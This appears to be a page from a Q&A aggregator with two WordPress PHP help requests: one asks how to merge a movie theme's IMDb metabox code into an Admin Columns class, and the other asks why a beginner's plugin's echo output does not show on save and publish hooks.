    . '<input class="mt" type="text" id="%1$s" name="%1$s" value="%3$s" />';
    return vsprintf( $label_format, $args );
    }
    function text_button ( $args ) {
    $label_format = '<input type="button" class="btmmt" name="Checkbx" value="'.__("Generate data from IMDb","mundothemes").'" />';
    return vsprintf( $label_format, $args );
    }
    function text_area ( $args ) {
    global $post;
    $args[2] = get_post_meta($post->ID, $args[0], true);
    $args[1] = __($args[1], 'sp' );
    $label_format =
    '<label  class="mtt" for="%1$s">%2$s</label>'
    . '<textarea class="mttt" name="%1$s">%3$s</textarea>';
    return vsprintf( $label_format, $args );
    }
    function sepa_1 ( $args ) {
    global $post;
    $args[2] = get_post_meta($post->ID, $args[0], true);
    $args[1] = __($args[1], 'sp' );
    $label_format = '<div id="%1$s" class="separador">';
    return vsprintf( $label_format, $args );
    }
    function sepa_2 ( $args ) {
    global $post;
    $args = "";
    $label_format = '</div>';
    return vsprintf( $label_format, $args );
    }
    function jqueryplus ( $args ) {
    global $post;
    $args = "";
    $label_format = '
    <script type="text/javascript" src=" '.get_stylesheet_directory_uri().'/includes/framework/js/jquery-2.2.0.min.js?ver=2.2.0"></script>
    <script type="text/javascript" src=" '.get_stylesheet_directory_uri().'/includes/framework/js/idtabstbb.js"></script>
    ';
    return vsprintf( $label_format, $args );
    }
    function menuplay ( $args ) {
    global $post;
    $args = "";
    $label_format = '<ul class="idTabs menuplayer">
    <li><a href="#sepa1" class="selected">'. __('Option 1', 'mundothemes') .'</a></li>
    <li><a href="#sepa2">'. __('Option 2', 'mundothemes') .'</a></li>
    <li><a href="#sepa3">'. __('Option 3', 'mundothemes') .'</a></li>
    <li><a href="#sepa4">'. __('Option 4', 'mundothemes') .'</a></li>
    <li><a href="#sepa5">'. __('Option 5', 'mundothemes') .'</a></li>
    <li><a href="#sepa6">'. __('Option 6', 'mundothemes') .'</a></li>
    <li><a href="#sepa7">'. __('Option 7', 'mundothemes') .'</a></li>
    <li><a href="#sepa8">'. __('Option 8', 'mundothemes') .'</a></li>
    </ul>';
    return vsprintf( $label_format, $args );
    }
    function menudatos ( $args ) {
    global $post;
    $args = "";
    $label_format = '<ul class="idTabs menuplayer">
    <li><a href="#imdb" class="selected">'. __('IMDb', 'mundothemes') .'</a></li>
    <li><a href="#tmdb">'. __('TMDb', 'mundothemes') .'</a></li>
    </ul>';
    return vsprintf( $label_format, $args );
    }
    function sp_save_postdata($post_id, $post) {
    global $sp_boxes;
    if ( ! wp_verify_nonce( $_POST['sp_nonce_name'], plugin_basename(__FILE__) ) ) {
    return $post->ID; }
    if ( 'page' == $_POST['post_type'] ) {
    if ( ! current_user_can( 'edit_page', $post->ID ))
    return $post->ID;
    } else {
    if ( ! current_user_can( 'edit_post', $post->ID ))
    return $post->ID; }
    foreach ( $sp_boxes as $sp_box ) {
    foreach ( $sp_box as $sp_fields ) {
    $my_data[$sp_fields[0]] =  $_POST[$sp_fields[0]];
    } }
    foreach ($my_data as $key => $value) {
    if ( 'revision' == $post->post_type  ) {
    return; }
    $value = implode(',', (array)$value);
    if ( get_post_meta($post->ID, $key, FALSE) ) {
    update_post_meta($post->ID, $key, $value);
    } else {
    add_post_meta($post->ID, $key, $value);
    }
    if (!$value) {
    delete_post_meta($post->ID, $key);
    } } }
    function echo_sp_nonce () {
    echo sprintf(
    '<input type="hidden" name="%1$s" id="%1$s" value="%2$s" />',
    'sp_nonce_name',
    wp_create_nonce( plugin_basename(__FILE__) )
    );
    }
    if ( !function_exists('get_custom_field') ) {
    function get_custom_field($field) {
    global $post;
    $custom_field = get_post_meta($post->ID, $field, true);
    echo $custom_field; } }
    function logo_admin_wpRafael() {  ?>
    <style type="text/css">
    h1 a {
    <?php $logo = get_option('wpadmin-logo');if (!empty($logo)) { ?>
    background-image: url(<?php echo $logo; ?>) !important;
    <?php } else { ?>
    background-image: url(<?php echo get_template_directory_uri(); ?>/images/logo_admin.png) !important;
    <?php } ?>
    background-size: 301px 51px !important;
    width: 301px !important;
    height: 51px !important;
    }
    </style>
    <?php  }
    add_action('login_head', 'logo_admin_wpRafael');
    function core_grifus() {
    }
    add_action('admin_footer', 'core_grifus');
    
    function mostrar_trailer($id) {
    	if (!empty($id)) {
    		$val = str_replace(
    			array("[","]",),
    			array('<div class="youtube_id"><iframe width="600" height="450" src="//www.youtube.com/embed/','" frameborder="0" allowfullscreen></iframe></div><br><b class="icon-youtube4"></b> Upload on Youtube',),$id);
    		echo $val;
    		} else {
    			echo 'No data';
    		}
    }

    want this code in this code

    <?php
    
    class CPAC_Column_COLUMN_NAME extends CPAC_Column {
    
        /**
         * This function will setup the column data
         *
         */
        public function init() {
    
            // do not delete
        	parent::init();
    
            // Identifier, pick an unique name. Single word, no spaces. Underscores allowed.
            $this->properties['type'] = 'column-COLUMN_NAME';
    
            // Default column label.
            $this->properties['label'] = __( 'COLUMN_LABEL', 'ac-COLUMN_NAME' );
    
            // (optional) You can make it support sorting with the pro add-on enabled. Sorting will be done by it's raw value.
            $this->properties['is_sortable'] = true;
    
            // (optional) Enable/Disable inline editing support for this column.
            $this->properties['is_editable'] = false;
        }
    
        /**
         * Returns the display value for the column.
         *
         * @param int $id ID
         * @return string Value
         */
        public function get_value( $post_id ) {
    
            // get raw value
            $value = $this->get_raw_value( $post_id );
    
            // optionally you can change the display of the value. In this example we added a post link.
            $value = '<a href="' . get_permalink( $post_id ) . '">' . $value . '</a>';
    
            return $value;
        }
    
        /**
         * Get the raw, underlying value for the column
         * Not suitable for direct display, use get_value() for that
         * This value will be used by 'sorting', 'inline-edit' and get_value().
         *
         * @param int $id ID
         * @return mixed Value
         */
        public function get_raw_value( $post_id ) {
    
            // put all the column logic here to retrieve the value you need
            // For example: $value = get_post_meta( $post_id, '_my_custom_field_example', true );
    
            $value = '<input type="button" class="btmmt" name="Checkbx" value="'.__("Generate IMDb","mundothemes").'" />';
    
            return $value;
        }
    
        /**
         * (Optional) Apply conditionals. You can remove this function is you do not use it!
         *
         * This determines whether the column should be available. If you want to disable this column
         * for a particular posttype you can set this to false.
         *
         * @return bool True/False Default should be 'true'.
         */
        public function apply_conditional() {
    
            // Example: if the posttype does not support thumbnails then return false
            // if ( ! post_type_supports( $this->get_post_type(), 'thumbnail' ) ) {
            //    return false;
            // }
    
            return true;
        }
    
        /**
         * (Optional) Inline editing settings. You can remove this function is you do not use it!
         *
         * @return array Editable settings
         */
        public function get_editable_settings() {
    
            // available types: text, textarea, media, float, togglable, select, select2_dropdown and select2_tags
            $settings = array(
                'type' => 'text'
            );
    
            // (Optional) Only applies to type: togglable, select, select2_dropdown and select2_tags
            // $settings['options'] = array( 'value_1', 'value_2', 'etc.' );
    
            // (Optional) If a selector is provided, editable will be delegated to the specified targets
            // $settings['js']['selector'] = 'a.my-class';
    
            return $settings;
        }
    
        /**
         * (Optional) Saves the value after using inline-edit. You can remove this function is you do not use it!
         *
         * @param int $id Object ID
         * @param mixed $value Value to be saved
         */
        public function save( $id, $value ) {
    
            // Store the value that has been entered with inline-edit
            // For example: update_post_meta( $id, '_my_custom_field_example', $value );
        }
    
        /**
         * (Optional) Create extra settings for you column. These are visible when editing a column. You can remove this function is you do not use it!
         *
         * Write your own settings or use any of the standard avaiable settings.
         */
        public function display_settings() {
    
            // You can write your own input fields here, or use the examples below...
    
            // The following settings are available out-of-the-box:
    
            // Display an image preview size settings screen
            // $this->display_field_preview_size();
    
            // Display an excerpt length input field
            // $this->display_field_excerpt_length();
    
            // Display a date format settings input field
            // $this->display_field_date_format();
    
            // Display before and after input fields
            // $this->display_field_before_after();
    
            // Displays a dropdown menu with user display formats
            // $this->display_field_user_format();
    
            // Displays a text field
            // $this->display_field_text( $option_name, $label, $description );
    
            // Displays a select field
            // $this->display_field_select( $option_name, $label, $options, $description );
        }
    
        /*
         * (Optional) Enqueue CSS + JavaScript on the admin listings screen. You can remove this function is you do not use it!
         *
         * This action is called in the admin_head action on the listings screen where your column values are displayed.
         * Use this action to add CSS + JavaScript
         *
         * @since 3.3.4
         */
        public function scripts() {
    
            // wp_register_script( 'ac-COLUMN_NAME', plugin_dir_url( __FILE__ ) . "js/column.js" );
            // wp_enqueue_script( 'ac-COLUMN_NAME' );
    
            // wp_register_style( 'ac-COLUMN_NAME', plugin_dir_url( __FILE__ ) . "css/column.css" );
            // wp_enqueue_style( 'ac-COLUMN_NAME' );
        }
    }

    plz any one can help


    0 0

    I am writing my first wordpress plugin. It's supposed to send a message on plugin page whenever user publish/saves/edits pages. The problem is I can't quite get it to print the messages.

    Here is my code:

    <?php
    
        /*
        Plugin Name: Monitor
        Plugin URI:
        Description: Test plugin monitoring user activities
        Author:
        Version: 1.0
        Author URI:
        */
    
    if (!function_exists('p_update')) {
        function p_update( $post_id ) {
            $post_title = get_the_title( $post_id );
            $post_url = get_permalink( $post_id );
            $message = "Changed: " . $post_title . "Link: " . $post_url ;
            echo "<p>test1</p>"
        }
    }
    
    if (!function_exists('p_publish')) {
        function p_publish( $post_id ){
            $post_title = get_the_title( $post_id );
            $post_url = get_permalink( $post_id );
            $message = "abc";
            echo "<p>test2</p>"
        }
    }
    
    if (!function_exists('plugin_menu')) {
        function plugin_menu() {
            add_menu_page( 'Monitor', 'Monitor', 'manage_options', __FILE__, 'plugin_options');
        }
    }
    
    if (!function_exists('plugin_options')) {
        function plugin_options() {
            if ( !current_user_can( 'manage_options' ) )  {
                wp_die( __( 'You do not have sufficient permissions to access this page.' ) );
            }
        echo '<div class="wrap">';
        echo '<p>test</p>';
        echo '</div>';
        }
    }
    
    add_action( 'admin_menu', 'plugin_menu' );
    add_action('save_post', p_update);
    add_action('publish_post', p_publish);
    
    ?>

    The plugin_menu function displays html properly, but other functions can't do that. I think that I'm trying to echo at a point in the code where there is nowhere to echo to. I don't know how to fix it. I'm sure there is some easy way of doing that but no tutorial I've seen adress this problem.

    Thank you in advance for your help.


older | 1 | .... | 355 | 356 | (Page 357) | 358 | 359 | .... | 413 | newer